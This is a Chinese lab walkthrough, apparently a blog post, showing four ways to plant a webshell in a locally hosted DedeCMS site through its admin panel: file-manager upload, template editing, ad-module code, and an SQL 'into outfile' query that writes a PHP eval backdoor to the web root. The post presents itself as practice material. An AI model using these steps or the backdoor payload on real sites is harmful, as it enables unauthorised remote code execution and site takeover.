dedecms织梦【php网站】-----获取webshell攻略

Dedecms 是 织梦团队 的php网站管理系统 使用 小皮搭建网站

1.搭建dedecms网站

下载Dedecms压缩包,解压后,放在小皮搭建的网站根目录下。

开启小皮的Apache或者Nginx和MySQL服务

2. 获取webshell

2.1 姿势⼀:通过⽂件管理器上传WebShell

思路:dedecms 后台可以直接上传任意⽂件,可以通过⽂件管理器上传 php⽂件获取webshell..

2.1.1 访问网站进行安装

访问网址:ip/网址根目录的文件名/其中的uploads文件夹/install

http://172.16.2.41/DedeCMS/uploads/install

逐步完成安装,参数配置 数据库连接小皮的MySQL数据库。

2.1.2 配置相关信息,并进行后台登录

#后台 http://172.16.1.10/dede

#信息

username:admin

password:123456

2.1.3 上传一句话木马

登陆到后台点击 【核⼼】 --》 【⽂件式管理器】 --》 【⽂件上传】 将准备好的⼀句话代
码上传...OK

2.1.4 访问文件,蚁剑连接

双击shell.php访问,将url在蚁剑进行连接,即获得webshell

2.2 姿势⼆:修改模板⽂件拿WebShell

2.2.1 修改网站默认模板,写入一句话木马

与WPCMS类似,直接修改模板拿WebShell..

点击 【模板】 --》 【默认模板管理】 --》 【index.htm】

---》【修改】 在⽂件修改中添加phpinfo();....如下 点击保存

2.2.2 更新主页

点击 【⽣成】 --》 【更新主⻚ HTML 】 --》将主⻚位置修改为 【 ../index.php 】--》
点击 【⽣成静态】 --》点击 【更新主⻚】 再次访问站点⾸⻚可发现变化.


2.2.3 访问主页

url:172.16.2.41/DedeCMS/uploads/index.php

点击浏览,即可发现phpinfo()执行成功

2.3 姿势三:后台任意命令执⾏拿WebShell

点击 【模块】 --》 【⼴告管理】 --》 【增加⼀个新⼴告】 --》在 【⼴告内容】 处添
加⼀句话代码--》点击 【确定】


点击【代码】

获取拼接的部分路径:/DedeCMS/uploads/plus/ad_js.php?aid=1

拼接url进行访问:http://172.16.2.41/DedeCMS/uploads/plus/ad_js.php?aid=1

蚁剑进行连接,即获得webshell

2.4 姿势四: 通过后台sql命令执⾏拿webshell

点击系统---SQL命令行工具
输入:select @@basedir; 发现页面显示目录地址 可判断出网站根目录

into outfile 写入一句话木马文件
select '<?php @eval($_POSTcmd);>' into outfile 'E:/phpstudy_pro/WWW/shell.php'

访问该木马文件,蚁剑进行连接,即获得webshell

DEDECMS 织梦 网站框架常见漏洞的利用

多种获取shell的方法练习。

练习结束,望大家能有所帮助和收获。

拜拜。。。

-------------2025/3/20 21:51

相关推荐
神州世通1 小时前
解密企业通信安全防线:Avaya Aura 三层安全架构深度解析
开发语言·php
AC赳赳老秦2 小时前
企业工商公开信息采集分析:OpenClaw 批量查询企业工商信息,生成企业画像报告
大数据·开发语言·python·自动化·php·deepseek·openclaw
云水一下5 小时前
零基础玩转bWAPP靶场(十三):SQL 注入(GET/搜索型)
web安全·sql注入·bwapp
AC赳赳老秦6 小时前
司法公开数据采集应用:OpenClaw 抓取裁判文书公开信息,批量整理同类参考案例
java·大数据·python·数据挖掘·数据分析·php·openclaw
云水一下8 小时前
零基础玩转bWAPP靶场(十二):Mail Header Injection(SMTP邮件头注入)
web安全·bwapp·邮箱头注入
EasyGBS8 小时前
ONVIF设备接入国标GB28181视频平台EasyGBS:不用国标也能一键拉流!
服务器·php·音视频
柒星栈9 小时前
PHP 源码怎么加密防破解?三套方案实战指南
开发语言·php·android studio
小小代码狗9 小时前
SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9)
服务器·python·php
shencz200010 小时前
在windows10里的apache2.4加php7.2的环境下上安装Laravel5.8框架
php·laravel
止语Lab12 小时前
从 PHP 到 Go:真正迁移的是复杂度的归属
android·golang·php